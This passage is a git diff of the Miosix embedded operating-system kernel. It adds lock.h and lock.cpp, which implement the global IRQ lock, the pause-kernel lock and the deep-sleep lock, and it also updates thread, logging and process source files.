with interrupts disabled or within an interrupt. - */ - void IRQsetDeleted(); - - /** - * Set the sleep flag of the thread. This flag can't be cleared. - * Can only be called with interrupts disabled or within an interrupt. - */ - void IRQsetDeleting() - { - flags |= DELETING; - } - - /** - * Set the detached flag. This flag can't be cleared. - * Can only be called with interrupts disabled or within an interrupt. - */ - void IRQsetDetached() - { - flags |= DETACHED; - } - - /** - * Set the userspace flag of the thread. - * Can only be called with interrupts disabled or within an interrupt. - * \param sleeping if true the flag will be set, otherwise cleared - */ - void IRQsetUserspace(bool userspace) - { - if(userspace) flags |= USERSPACE; else flags &= ~USERSPACE; - } - - /** - * \return true if the wait flag is set - */ - bool isWaiting() const { return flags & WAIT; } - - /** - * \return true if the sleep flag is set - */ - bool isSleeping() const { return flags & SLEEP; } - - /** - * \return true if the deleted and the detached flags are set - */ - bool isDeleted() const { return (flags & 0x14)==0x14; } - - /** - * \return true if the thread has been deleted, but its resources cannot - * be reclaimed because it has not yet been joined - */ - bool isDeletedJoin() const { return flags & DELETED; } - - /** - * \return true if the deleting flag is set - */ - bool isDeleting() const { return flags & DELETING; } - - /** - * \return true if the thread is in the ready status - */ - bool isReady() const { return (flags & 0x27)==0; } - - /** - * \return true if the thread is detached - */ - bool isDetached() const { return flags & DETACHED; } - - /** - * \return true if the thread is waiting a join - */ - bool isWaitingJoin() const { return flags & WAIT_JOIN; } - - /** - * \return true if the thread is running unprivileged inside a process. - */ - bool isInUserspace() const { return flags & USERSPACE; } - - //Unwanted methods - ThreadFlags(const ThreadFlags& p) = delete; - ThreadFlags& operator = (const ThreadFlags& p) = delete; - - private: - ///\internal Thread is in the wait status. A call to wakeup will change - ///this - static const unsigned int WAIT=1<<0; - - ///\internal Thread is sleeping. - static const unsigned int SLEEP=1<<1; - - ///\internal Thread is deleted. It will continue to exist until the - ///idle thread deallocates its resources - static const unsigned int DELETED=1<<2; - - ///\internal Somebody outside the thread asked this thread to delete - ///itself.
This will make Thread::testTerminate() return true. - static const unsigned int DELETING=1<<3; - - ///\internal Thread is detached - static const unsigned int DETACHED=1<<4; - - ///\internal Thread is waiting for a join - static const unsigned int WAIT_JOIN=1<<5; - - ///\internal Thread is running in userspace - static const unsigned int USERSPACE=1<<6; - - Thread* t; ///<\internal pointer to the thread to which the flags belong - unsigned char flags;///<\internal flags are stored here - }; - - #ifdef WITH_PROCESSES - - /** - * \internal - * Causes a thread belonging to a process to switch to userspace, and - * execute userspace code. This function returns when the process performs - * a syscall or faults. - * \return the syscall parameters used to serve the system call. - */ - static miosix_private::SyscallParameters switchToUserspace(); - - /** - * Create a thread to be used inside a process. The thread is created in - * WAIT status, a wakeup() on it is required to actually start it. - * \param startfunc entry point - * \param proc process to which this thread belongs - */ - static Thread *createUserspace(void *(*startfunc)(void *), Process *proc); - - /** - * Setup the userspace context of the thread, so that it can be later - * switched to userspace. Must be called only once for each thread instance - * \param entry userspace entry point - * \param argc number of arguments - * \param argvSp pointer to arguments array. Since the args block is stored - * above the stack and this is the pointer into the first byte of the args - * block, this pointer doubles as the initial stack pointer when the process - * is started. - * \param envp pointer to environment variables - * \param gotBase base address of the GOT, also corresponding to the start - * of the RAM image of the process - * \param stackSize size of the userspace stack, used for bound checking - */ - static void setupUserspaceContext(unsigned int entry, int argc, void *argvSp, - void *envp, unsigned int *gotBase, unsigned int stackSize); - - #endif //WITH_PROCESSES - - /** - * Constructor, initializes thread data. - * \param watermark pointer to watermark area - * \param stacksize thread's stack size - * \param defaultReent true if the global reentrancy structure is to be used - */ - Thread(unsigned int *watermark, unsigned int stacksize, bool defaultReent); - - /** - * Destructor - */ - ~Thread(); - - /** - * Helper function to initialize a Thread - * \param startfunc entry point function - * \param stacksize stack size for the thread - * \param argv argument passed to the thread entry point - * \param options thread options - * \param defaultReent true if the default C reentrancy data should be used - * \return a pointer to a thread, or nullptr in case there are not enough - * resources to create one. - */ - static Thread *doCreate(void *(*startfunc)(void *), unsigned int stacksize, - void *argv, unsigned short options, bool defaultReent); - - /** - * Thread launcher, all threads start from this member function, which calls - * the user specified entry point. When the entry point function returns, - * it marks the thread as deleted so that the idle thread can dellocate it. - * If exception handling is enebled, this member function also catches any - * exception that propagates through the entry point. - * \param threadfunc pointer to the entry point function - * \param argv argument passed to the entry point - */ - static void threadLauncher(void *(*threadfunc)(void*), void *argv); - - /** - * Common implementation of all IRQenableIrqAndWait calls - */ - static void IRQenableIrqAndWaitImpl(); - - /** - * Common implementation of all timedWait calls - */ - static TimedWaitResult IRQenableIrqAndTimedWaitImpl(long long absoluteTimeNs); - - /** - * Same as exists() but is meant to be called only inside an IRQ or when - * interrupts are disabled. - */ - static bool IRQexists(Thread *p); - - /** - * Allocates the idle thread and makes cur point to it - * Can only be called before the kernel is started, is called exactly once - * so that getCurrentThread() always returns a pointer to a valid thread or - * by startKernel to create the idle thread, whichever comes first. - * \return the newly allocated idle thread - */ - static Thread *allocateIdleThread(); - - /** - * \return the C reentrancy structure of the currently running thread - */ - static struct _reent *getCReent(); - - //Thread data - SchedulerData schedData; ///< Scheduler data, only used by class Scheduler - ThreadFlags flags;///< thread status - ///Saved priority. Its value is relevant only if mutexLockedCount>0; it - ///stores the value of priority that this thread will have when it unlocks - ///all mutexes. This is because when a thread locks a mutex its priority - ///can change due to priority inheritance. - Priority savedPriority; - ///List of mutextes locked by this thread - Mutex *mutexLocked; - ///If the thread is waiting on a Mutex, mutexWaiting points to that Mutex - Mutex *mutexWaiting; - unsigned int *watermark;///< pointer to watermark area - unsigned int ctxsave[CTXSAVE_SIZE];///< Holds cpu registers during ctxswitch - unsigned int stacksize;///< Contains stack size - ///This union is used to join threads. When the thread to join has not yet - ///terminated and no other thread called join it contains (Thread *)nullptr, - ///when a thread calls join on this thread it contains the thread waiting - ///for the join, and when the thread terminated it contains (void *)result - union - { - Thread *waitingForJoin;/// * + ***************************************************************************/ + +#include "lock.h" +#include "error.h" +#include "thread.h" +#include "interfaces/atomic_ops.h" + +namespace miosix { + +#ifdef WITH_SMP +// Initialize as locked because the kernel starts with interrupts disabled +unsigned char GlobalIrqLock::holdingCore=0; +#endif + +// Initialize as locked because the kernel starts with interrupts disabled +unsigned char FastPauseKernelLock::holdingCore=0; +bool FastPauseKernelLock::pendingWakeup=false; + +void PauseKernelLock::lock() +{ + #ifdef WITH_SMP + // Save and restore interrupt enabling state to allow use during boot + bool ie=areInterruptsEnabled(); + fastDisableIrq(); + FastPauseKernelLock::irqDisabledFastLock(); + if(ie) fastEnableIrq(); + #else + FastPauseKernelLock::lock(); + #endif +} + +void PauseKernelLock::unlock() +{ + #ifdef WITH_SMP + bool ie=areInterruptsEnabled(); + fastDisableIrq(); + FastPauseKernelLock::irqDisabledFastUnlock(); + if(ie) fastEnableIrq(); + + // See comments in FastPauseKernelLock::unlock() + if(FastPauseKernelLock::pendingWakeup) + { + FastPauseKernelLock::pendingWakeup=false; + Thread::yield(); + } + #else + FastPauseKernelLock::unlock(); + #endif +} + +bool PauseKernelLock::pushLock() +{ + // We should never take the PK lock while we're holding the GIL, as this + // can cause deadlocks in SMP architectures. The only exception is early + // at boot, before the kernel is started where there's only one core + // running and it's running code as-if both the PK and GIL are taken. + // If we're compiling with extra checks, verify this property using an + // edge detection method. If the kernel isn't paused (this excludes the + // early at boot case) and interrupts are disabled, then it's a bug. + if(extraChecks==ExtraChecks::Kernel) + if(isKernelPaused()==false && areInterruptsEnabled()==false) + errorHandler(Error::UNEXPECTED); + + #ifdef WITH_SMP + // Checking getCurrentCoreId() with interrupts potentially enabled is + // unsafe due to thread migrations, so disable interrupts while we + // check. + bool ie=areInterruptsEnabled(); + fastDisableIrq(); + #endif + bool res; + if(FastPauseKernelLock::holdingCore==getCurrentCoreId()) + { + // We are holding the lock, nothing to do + res=true; + } else { + // Take the lock + FastPauseKernelLock::irqDisabledFastLock(); + res=false; + } + #ifdef WITH_SMP + if(ie) fastEnableIrq(); + #endif + return res; +} + +#ifdef WITH_DEEP_SLEEP +/// This variable is used to keep count of how many peripherals are actually used. +/// If it 0 then the system can enter the deep sleep state. Shared with thread.cpp +int deepSleepCounter=0; + +void deepSleepLock() noexcept +{ + atomicAdd(&deepSleepCounter,1); +} + +void deepSleepUnlock() noexcept +{ + atomicAdd(&deepSleepCounter,-1); +} +#endif //WITH_DEEP_SLEEP + +} //namespace miosix diff --git a/miosix/kernel/lock.h b/miosix/kernel/lock.h new file mode 100644 index 000000000..00b96a4e5 --- /dev/null +++ b/miosix/kernel/lock.h @@ -0,0 +1,789 @@ +/*************************************************************************** + * Copyright (C) 2008-2024 by Terraneo Federico * + * Copyright (C) 2025 by Terraneo Federico and Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/interrupts.h" +#include "interfaces/cpu_const.h" +#include "interfaces_private/smp_locks.h" +#include "thread.h" +#include "error.h" + +namespace miosix { + +//Forward declarations +inline bool isKernelPaused() noexcept; + +//CK803S substitute for the Cortex-M PendSV-set bit (defined in the +//cskyv2 interrupt layer). Drained by FastGlobalIrqLock::unlock() to +//take a context switch deferred under the global lock. See that method. +extern volatile bool s_schedPending; + +/** + * \defgroup lock Low-level locking + * \ingroup Kernel + * \brief Global Irq Lock, Pause Kernel lock + * + * These classes define two global locks used for synchronization in the Miosix + * kernel, the Global Irq Lock (GIL) and the Pause Kernel lock. + * + * The GIL is used to ensure mutual exclusion between threads and interrupt + * handlers. It is also used by the kernel to protect its data structures. + * In single core platforms it is implemented by disabling and enabling + * interrupts, while in multicore (SMP) platforms it is implemented as a + * hardware spinlock or sleep lock. + * Taking this core also has the effect of disabling preemption, therefore + * you should try to keep the critical sections that hold this lock as short as + * possible. + * Holding this lock grants the capability to call kernel functions whose name + * starts with the IRQ prefix. + * + * The Pause Kernel lock is a global lock in the sense that only one thread on + * one core can take the lock. + * On the core which takes the lock preemption is disabled, but interrupts will + * continue to occur. Attempting to take the pauseKernel lock from another core + * will block until the lock is released. + * Calling blocking functions (printf/fopen/...) including device drivers + * implemented in terms of IRQglobalIrqUnlockAndWait() or sleeping while holding + * this lock will cause deadlock. + * The main purpose of this lock is for the kernel to implement mutexes. + * + * Since these locks are both global, they have a high rate of contention, but + * by converse they are very fast to take and release. + * + * \{ + */ + +/** + * \private Base class used for implementing RAII-based locking. + */ +template +class FastLockMixin +{ +public: + /** + * Constructor, acquire the lock + */ + FastLockMixin() { T::lock(); } + + /** + * Destructor, release the lock + */ + ~FastLockMixin() { T::unlock(); } + + FastLockMixin(const FastLockMixin&)=delete; + FastLockMixin& operator= (const FastLockMixin&)=delete; +}; + +/** + * \private Base class used for implementing RAII-based recursive locking. + */ +template +class LockMixin +{ +public: + /** + * Constructor, acquire the lock if the current thread is not already + * holding it + */ + LockMixin() + { + wasLocked=T::pushLock(); + } + + /** + * Destructor, release the lock if this object was the one acquiring it + * in the first place + */ + ~LockMixin() + { + if(!wasLocked) T::unlock(); + } + + LockMixin(const LockMixin&)=delete; + LockMixin& operator= (const LockMixin&)=delete; +private: + bool wasLocked; +}; + +/** + * \private Base class used for implementing RAII-based unlock. + */ +template +class UnlockBase +{ +public: + /** + * Constructor, release the lock + * \param l the object that was used to acquire the lock + */ + UnlockBase(T& l) { (void)l; T::unlock(); } + + /** + * Destructor. + * Acquire back the lock. + */ + ~UnlockBase() { T::lock(); } + + UnlockBase(const UnlockBase&)=delete; + UnlockBase& operator= (const UnlockBase&)=delete; +}; + +/** + * \name Global Interrupt Lock + * \{ + */ + +/** + * Class for acquiring/releasing the global lock from interrupt context. + * Can only be used inside an interrupt service routine. + * The static methods of the class can be used to take/release the lock + * manually. + * Alternatively, it can be instantiated, to act as a RAII lock which releases + * the lock automatically when it goes out of scope. + * + * NOTE: FastGlobalLockFromIrq cannot be nested and cannot be used before the + * kernel is started (well, interrupts cannot occur before the kernel is started + * so this can't happen unless you do the mistake of using this lock outside of + * interrupt context...) Attempting to do so will lead to undefined behavior. + * There is no nestable version of this lock. Interrupt code should be kept as + * simple as possible, so you don't need it. + * + * On single core architectures, this lock becomes a no-operation as there is + * no need for it, while on multi core architectures an implementation-defined + * mechanism is used to guarantee that only one core at a time can hold the + * global lock even from interrupt context, hence the global name. + */ +class FastGlobalLockFromIrq: public FastLockMixin +{ +public: + /** + * Acquire the global lock from an IRQ context. + */ + static inline void lock() + { + #ifdef WITH_SMP + irqDisabledHwIrqLockAcquire(HwLocks::GIL); + #endif + } + + /** + * Release the global lock from an IRQ context. + */ + static inline void unlock() + { + #ifdef WITH_SMP + irqDisabledHwIrqLockRelease(HwLocks::GIL); + #endif + } +}; + +/** + * This class allows to temporarily release the global lock in a scope it was + * held using a FastGlobalLockFromIrq. + * + * Example: + * \code + * { + * FastGlobalIrqLock dLock; + * //Now holding the lock + * { + * FastGlobalIrqUnlock eLock(dLock); + * //Now lock released + * } + * //Now holding again the lock + * } + * //Finally lock released + * \endcode + */ +using FastGlobalUnlockFromIrq = UnlockBase; + + +/** + * Class for acquiring/releasing the global lock. + * The static methods of the class can be used to take/release the lock + * manually. + * Alternatively, it can be instantiated, to act as a RAII lock which releases + * the lock automatically when it goes out of scope. + * + * You should try to keep the critical sections that hold this lock as short + * as possible. Holding this lock grants you the capability to call kernel + * function whose function name starts with the IRQ prefix. + * + * NOTE: FastGlobalIrqLock cannot be nested and cannot be used before the + * kernel is started! Attempting to do so will lead to undefined behavior. + * For such cases, use GlobalIrqLock instead. + * + * On single core architectures, this lock is implemented by disabling + * interrupts, while on multi core architectures interrupts on the core that + * acquired the lock are disabled and an implementation-defined mechanism is + * used to guarantee that only one core at a time can hold the global lock, + * hence the global name. + * + * \note This class replaces the FastInterruptDisableLock class in Miosix v2.x + */ +class FastGlobalIrqLock: public FastLockMixin +{ +public: + /** + * Acquire the global lock. + * \note This method replaces fastDisableInterrupts() from Miosix v2.x + */ + static inline void lock() noexcept + { + // If we're compiling with extra checks, verify that we also never use + // FastGlobalIrqLock early at boot or in a context where the global lock + // is already taken. + if(extraChecks==ExtraChecks::Kernel && areInterruptsEnabled()==false) + errorHandler(Error::UNEXPECTED); + + fastDisableIrq(); + FastGlobalLockFromIrq::lock(); + } + + /** + * Release the global lock. + * \note This method replaces fastEnableInterrupts() from Miosix v2.x + */ + static inline void unlock() noexcept + { + FastGlobalLockFromIrq::unlock(); + // CK803S (HD2) has NO hardware PendSV. On stock Cortex-M Miosix the + // context switch deferred by IRQinvokeScheduler() under this lock is + // taken the instant interrupts are re-enabled (the lowest-priority + // PendSV fires). On this core IRQinvokeScheduler() can only set + // s_schedPending, and being tickless nothing would otherwise consume it + // at lock release -> Thread::sleep() blocks forever. Mirror + // FastPauseKernelLock::unlock()'s proven missed-preemption drain. + // + // ATOMIC CLAIM: test-and-clear s_schedPending while IRQs are STILL OFF + // (single-core => no preemption/IRQ here), so the IRQ-path drain + // (csky_isr_dispatch, interrupts.cpp) cannot race this read-modify-write + // and swallow a reschedule -- that race stranded one equal-priority + // thread while IRQ-woken threads kept running (the "hangs after idle" + // bug). THEN re-enable IRQs and take the switch via Thread::yield() -> + // IRQinvokeScheduler(), which passes the areInterruptsEnabled() && + // !s_inIrq gate (IE on, thread ctx) and runs the proven synchronous + // switch (csky_yield_switch, which clears IE around the scheduler + // itself). FastGlobalIrqLock cannot nest -> OUTERMOST release, never + // mid kernel-operation. See tmp/sleep_research/SYNTHESIS.md. + bool pending = s_schedPending; + s_schedPending = false; + fastEnableIrq(); + if(pending) Thread::yield(); + } +}; + +/** + * This class allows to temporarily release the global lock in a scope it was + * held using a FastGlobalIrqLock. + * + * Example: + * \code + * { + * FastGlobalIrqLock dLock; + * //Now holding the lock + * { + * FastGlobalIrqUnlock eLock(dLock); + * //Now lock released + * } + * //Now holding again the lock + * } + * //Finally lock released + * \endcode + * + * \note This class replaces the FastInterruptEnableLock class in Miosix v2.x + */ +using FastGlobalIrqUnlock = UnlockBase; + + +/** + * RAII lock for recursively acquiring/releasing the global lock. + * + * You should try to keep the critical sections that hold this lock as short + * as possible. Holding this lock grants you the capability to call kernel + * function whose function name starts with the IRQ prefix. + * + * GlobalIrqLock can be nested, like recursive mutexes. + * It is also safe for use before the kernel is started, and in this case it + * does nothing, since interrupts aren't yet enabled and only one core is + * running. + * + * On single core architectures, the global lock is implemented by disabling + * interrupts, while on multi core architectures interrupts on the core that + * acquired the lock are disabled and an implementation-defined mechanism is + * used to guarantee that only one core at a time can hold the global lock, + * hence the global name. + * + * \note This class replaces the InterruptDisableLock class in Miosix v2.x + * There are no replacements for the disableInterrupts() and enableInterrupts() + * functions in Miosix v2.x, use the class GlobalIrqLock as a RAII lock + * instead. + */ +class GlobalIrqLock: public LockMixin +{ +private: + /** + * \private Take the lock + */ + static inline void lock() noexcept + { + FastGlobalIrqLock::lock(); + #ifdef WITH_SMP + holdingCore=getCurrentCoreId(); + #endif + } + + /** + * \private Returns if we are within a critical section protected by this + * lock. This only returns true for the thread that is currently holding + * the lock. Requires interrupts to be disabled. + * Note that this only makes sense in SMP platforms because in non-SMP + * platforms having interrupts disabled is equivalent to taking the + * GlobalIrqLock. + */ + static inline bool irqDisabledInLockedSection() noexcept + { + #ifdef WITH_SMP + return holdingCore==getCurrentCoreId(); + #else + return true; + #endif + } + + /** + * \private Take the lock if it's not already taken. Returns true only + * if we already were in a locked section, otherwise false. + * This primitive is used to implement recursion (see the LockMixin<> class) + */ + static inline bool pushLock() noexcept + { + #ifdef WITH_SMP + // Checking getCurrentCoreId() with interrupts potentially enabled is + // unsafe due to thread migrations, so disable interrupts while we + // check. + bool ie=areInterruptsEnabled(); + fastDisableIrq(); + if(holdingCore==getCurrentCoreId()) + { + // We are holding the lock, nothing to do + if(ie) fastEnableIrq(); + return true; + } + // Take the lock + FastGlobalLockFromIrq::lock(); + holdingCore=getCurrentCoreId(); + return false; + #else + // If interrupts are not enabled, we already have the lock taken + if(!areInterruptsEnabled()) return true; + // Otherwise take it + FastGlobalIrqLock::lock(); + return false; + #endif + } + + /** + * \private Release the lock + */ + static void unlock() noexcept + { + #ifdef WITH_SMP + holdingCore=0xFF; + #endif + FastGlobalIrqLock::unlock(); + } + + /// These kernel classes and functions need to access lock/unlock + friend class LockMixin; + friend class UnlockBase; + friend class Thread; + friend class LibAtomicQuickLock; + /// The lock is actually initialized in IRQstartKernel(); when the boot + /// process is complete + friend void IRQstartKernel(); + #ifdef WITH_SMP + /// The core currently holding the global lock + static unsigned char holdingCore; + #endif +}; + +/** + * This class allows to temporarily release the global lock in a scope it was + * held using a GlobalIrqLock + * + * Example: + * \code + * { + * GlobalIrqLock dLock; + * //Now holding the lock + * { + * GlobalIrqUnlock eLock(dLock); + * //Now lock released + * } + * //Now holding again the lock + * } + * //Finally lock released + * \endcode + * + * \note This class replaces the InterruptEnableLock class in Miosix v2.x + */ +using GlobalIrqUnlock = UnlockBase; + +/** + * \} + */ + + +/** + * \name Pause Kernel Lock + * \{ + */ + +/** + * RAII lock for acquiring/releasing the pause kernel lock. + * It is also safe for use before the kernel is started, and in this case it + * does nothing, since interrupts aren't yet enabled and only one core is + * running. + * + * NOTE: FastPauseKernelLock cannot be nested and cannot be used before the + * kernel is started! Attempting to do so will lead to undefined behavior. + * For such cases, use PauseKernelLock instead. + */ +class FastPauseKernelLock: public FastLockMixin +{ +public: + /** + * Take the lock. + * \note This method is not a replacement for pauseKernel() because it + * does not allow recursive locking. Use PauseKernelLock instead. + */ + static inline void lock() noexcept + { + // We should never take the PK lock while we're holding the GIL, as this + // can cause deadlocks in SMP architectures. The only exception is early + // at boot, before the kernel is started where there's only one core + // running and it's running code as-if both the PK and GIL are taken. + // If we're compiling with extra checks, verify this property using an + // edge detection method. If the kernel isn't paused (this excludes the + // early at boot case) and interrupts are disabled, then it's a bug. + // Additionally, we also should never use FastPauseKernelLock early at + // boot or in a context where the kernel is already paused, so if the + // kernel is already paused fail too. + if(extraChecks==ExtraChecks::Kernel) + { + if(isKernelPaused()) errorHandler(Error::UNEXPECTED); + else if(areInterruptsEnabled()==false) errorHandler(Error::UNEXPECTED); + } + + #ifdef WITH_SMP + // The SMP implementation needs to disable local interrupts when + // changing the lock's state to prevent the scheduler running in between + // taking/releasing the HW lock and setting the holdingCore variable. + // If it did, and it put us back in ready state, anyone else trying to + // take the lock would have to wait in the spinlock even if the lock + // isn't really taken. + // However, this means it cannot run if the kernel is not yet started. + // So we also check for that and bail out early if so. + // These comments also apply to unlock(). + fastDisableIrq(); + irqDisabledFastLock(); + fastEnableIrq(); + #else + holdingCore=0; + asm volatile("":::"memory"); + #endif + } + + /** + * Release the lock. + * \note This method is not a replacement for restartKernel() because it + * does not allow recursive locking. Use PauseKernelLock instead. + */ + static inline void unlock() noexcept + { + #ifdef WITH_SMP + // See comments in lock(). + fastDisableIrq(); + irqDisabledFastUnlock(); + fastEnableIrq(); + #else //WITH_SMP + holdingCore=0xff; + asm volatile("":::"memory"); + #endif //WITH_SMP + + // If we missed a preemption, yield. This mechanism works the + // same way as the hardware implementation of interrupts that remain + // pending if they occur while interrupts are disabled. + // The scheduler sets pendingWakeup to true any time it is called but it + // could not run due to the lock being taken. + // With the tickless kernel, this is also important to prevent deadlocks + // as the idle thread is no longer periodically interrupted by timer + // ticks and it does pause the kernel. If the interrupt that wakes up + // a thread fails to call the scheduler since the idle thread paused the + // kernel and pendingWakeup is not set, this could cause a deadlock. + if(pendingWakeup) + { + pendingWakeup=false; + Thread::yield(); + } + } + +private: + /** + * \private Lock the Pause Kernel lock when interrupts are disabled. + * This is used when the thread holding the lock is exiting from a wait. + */ + static inline void irqDisabledFastLock() noexcept + { + #ifdef WITH_SMP + irqDisabledHwLockAcquire(HwLocks::PK); + holdingCore=getCurrentCoreId(); + #else + holdingCore=0; + #endif + } + + /** + * \private Take the lock if it's not already taken. Returns true only + * if we already were in a locked section, otherwise false. + * This primitive is used to implement recursion (see the LockMixin<> class) + */ + static inline bool pushLock() noexcept + { + #ifdef WITH_SMP + // Checking getCurrentCoreId() with interrupts potentially enabled is + // unsafe due to thread migrations, so disable interrupts while we + // check. + fastDisableIrq(); + #endif + bool res; + if(holdingCore==getCurrentCoreId()) + { + // We are holding the lock, nothing to do + res=true; + } else { + // Take the lock + irqDisabledFastLock(); + res=false; + } + #ifdef WITH_SMP + fastEnableIrq(); + #endif + return res; + } + + /** + * \private Lock the Pause Kernel lock when interrupts are disabled. + * This is used when the thread holding the lock is entering a wait. + */ + static inline void irqDisabledFastUnlock() noexcept + { + holdingCore=0xff; + #ifdef WITH_SMP + irqDisabledHwLockRelease(HwLocks::PK); + #endif + } + + /// The scheduler needs to set pendingWakeup if it is called within a + /// pauseKernel. + friend class PriorityScheduler; + friend class EDFScheduler; + friend class ControlScheduler; + /// Thread wait primitives use irqDisabledFastLock() and + /// irqDisabledFastUnlock(). + friend class Thread; + friend class PauseKernelLock; + /// The lock is actually initialized in IRQstartKernel(); when the boot + /// process is complete + friend void IRQstartKernel(); + /// The core holding the lock or 0xff. + static unsigned char holdingCore; + /// Whether the scheduler was invoked while the lock is taken. + static bool pendingWakeup; +}; + +/** + * RAII lock for recursively acquiring/releasing the pause kernel lock. + * PauseKernelLock can be nested, like recursive mutexes. + * It is also safe for use before the kernel is started, and in this case it + * does nothing, since interrupts aren't yet enabled and only one core is + * running. + * + * \note There are no replacements for the pauseKernel() and enableKernel() + * functions in Miosix v2.x, use the class PauseKernelLock instead. + */ +class PauseKernelLock: public LockMixin +{ +public: + /** + * Return true if the pause kernel lock is currently taken, false otherwise. + * Note: this function can be called during the boot process. + * + * \note Acquiring the global lock or disabling interrupts does not affect + * the result returned by this function. + * This function replaces isKernelPaused() from Miosix v2.x. + * \return true if preemption is disabled on the current core. + */ + static inline bool inLockedSection() + { + #ifdef WITH_SMP + // Checking getCurrentCoreId() with interrupts potentially enabled is + // unsafe due to thread migrations + bool ie=areInterruptsEnabled(); + fastDisableIrq(); + bool result=FastPauseKernelLock::holdingCore==getCurrentCoreId(); + if(ie) fastEnableIrq(); + return result; + #else //WITH_SMP + return FastPauseKernelLock::holdingCore==getCurrentCoreId(); + #endif //WITH_SMP + } + +private: + /** + * \private Take the lock. + */ + static void lock(); + + /** + * \private Release the lock. + */ + static void unlock(); + + /** + * \private Take the lock if it's not already taken. Returns true only + * if we already were in a locked section, otherwise false. + */ + static bool pushLock(); + + /// These classes need to access lock/unlock + friend class LockMixin; + friend class UnlockBase; + /// These functions need pushLock and unlock + friend void mallocLockImpl(); + friend void mallocUnlockImpl(); +}; + +/** + * Return true if the pause kernel lock is currently taken, false otherwise. + * + * \note Acquiring the global lock or disabling interrupts does not affect the + * result returned by this function. + * \return true if preemption is disabled on the current core. + */ +inline bool isKernelPaused() noexcept +{ + return PauseKernelLock::inLockedSection(); +} + +/** + * This class allows to temporarily restart kernel in a scope where it is + * paused with a PauseKernelLock. + * + * Example: + * \code + * + * //Kernel running + * { + * PauseKernelLock dLock; + * //Kernel paused + * { + * PauseKernelUnlock eLock(dLock); + * //Kernel running again + * } + * //Kernel back to paused + * } + * //Kernel running + * \endcode + * + * \note This class replaces the RestartKernelLock class in Miosix v2.x + */ +using PauseKernelUnlock = UnlockBase; + +/** + * \} + */ + +/** + * \name Deep Sleep Lock + * \{ + */ + +/** + * Prevent the microcontroller from entering a deep sleep state. Most commonly + * used by device drivers requiring clocks or power rails that would be disabled + * when entering deep sleep to perform blocking operations while informing the + * scheduler that deep sleep is currently not possible. + * Can be nested multiple times and called by different device drivers + * simultaneously. If N calls to deepSleepLock() are made, then N calls to + * deepSleepUnlock() need to be made before deep sleep is enabled back. + */ +#ifdef WITH_DEEP_SLEEP +void deepSleepLock() noexcept; +#else //WITH_DEEP_SLEEP +inline void deepSleepLock() noexcept {} //Nothing to do +#endif //WITH_DEEP_SLEEP + +/** + * Used to signal the scheduler that a critical section where deep sleep should + * not be entered has completed. If N calls to deepSleepLock() are made, then N + * calls to deepSleepUnlock() need to be made before deep sleep is enabled back. + */ +#ifdef WITH_DEEP_SLEEP +void deepSleepUnlock() noexcept; +#else //WITH_DEEP_SLEEP +inline void deepSleepUnlock() noexcept {} //Nothing to do +#endif //WITH_DEEP_SLEEP + +/** + * This class is a RAII lock for temporarily prevent entering deep sleep. + * This call avoids the error of not reenabling deep sleep capability since it + * is done automatically. + */ +class DeepSleepLock +{ +public: + DeepSleepLock() { deepSleepLock(); } + + ~DeepSleepLock() { deepSleepUnlock(); } + + DeepSleepLock(const DeepSleepLock&)=delete; + DeepSleepLock& operator= (const DeepSleepLock&)=delete; +}; + +/** + * \} + */ + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/kernel/logging.h b/miosix/kernel/logging.h index e2e034ce4..913556e37 100644 --- a/miosix/kernel/logging.h +++ b/miosix/kernel/logging.h @@ -1,5 +1,5 @@ /*************************************************************************** - * Copyright (C) 2010, 2011, 2012, 2013, 2014 by Terraneo Federico * + * Copyright (C) 2010-2026 by Terraneo Federico * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * @@ -25,14 +25,15 @@ * along with this program; if not, see * ***************************************************************************/ -#ifndef LOGGING_H -#define LOGGING_H +#pragma once -#include "config/miosix_settings.h" +#include "miosix_settings.h" #include "filesystem/console/console_device.h" #include #include +namespace miosix { + /** * Print boot logs. Contrary to (i)printf(), this can be disabled in * miosix_settings.h if boot logs are not wanted. Can only be called when the @@ -59,7 +60,8 @@ inline void bootlog(const char *fmt, ...) #ifdef WITH_BOOTLOG inline void IRQbootlog(const char *string) { - miosix::DefaultConsole::instance().IRQget()->IRQwrite(string); + auto console=IRQgetDefaultConsole(); + if(console) console->IRQwrite(string); } #else //WITH_BOOTLOG #define IRQbootlog(x) @@ -91,10 +93,11 @@ inline void errorLog(const char *fmt, ...) #ifdef WITH_ERRLOG inline void IRQerrorLog(const char *string) { - miosix::DefaultConsole::instance().IRQget()->IRQwrite(string); + auto console=IRQgetDefaultConsole(); + if(console) console->IRQwrite(string); } #else //WITH_ERRLOG #define IRQerrorLog(x) #endif //WITH_ERRLOG -#endif /* LOGGING_H */ +} //namespace miosix diff --git a/miosix/kernel/process.cpp b/miosix/kernel/process.cpp index 62904b87b..4a20ba7f1 100644 --- a/miosix/kernel/process.cpp +++ b/miosix/kernel/process.cpp @@ -37,10 +37,13 @@ #include #include #include +#include #include "sync.h" #include "process_pool.h" #include "process.h" +#include "interfaces/cpu_const.h" +#include "interfaces_private/userspace.h" using namespace std; @@ -85,43 +88,78 @@ static int validateStringArray(MPUConfiguration& mpu, char* const* a) } } +/** + * Struct used by posix_spawn to pass all syscall arguments + */ +struct SpawnArgs +{ + const char *path; + const posix_spawn_file_actions_t *actions; + const posix_spawnattr_t *attr; + char *const *argv; + char *const *envp; +}; + /** * This class contains information on all the processes in the system */ -class Processes +class ProcessTable { public: /** * \return the instance of this class (singleton) */ - static Processes& instance(); + static ProcessTable& instance(); + + /** + * \return an unique pid that is not zero and is not already in use in the + * system, used to assign a pid to a new process.
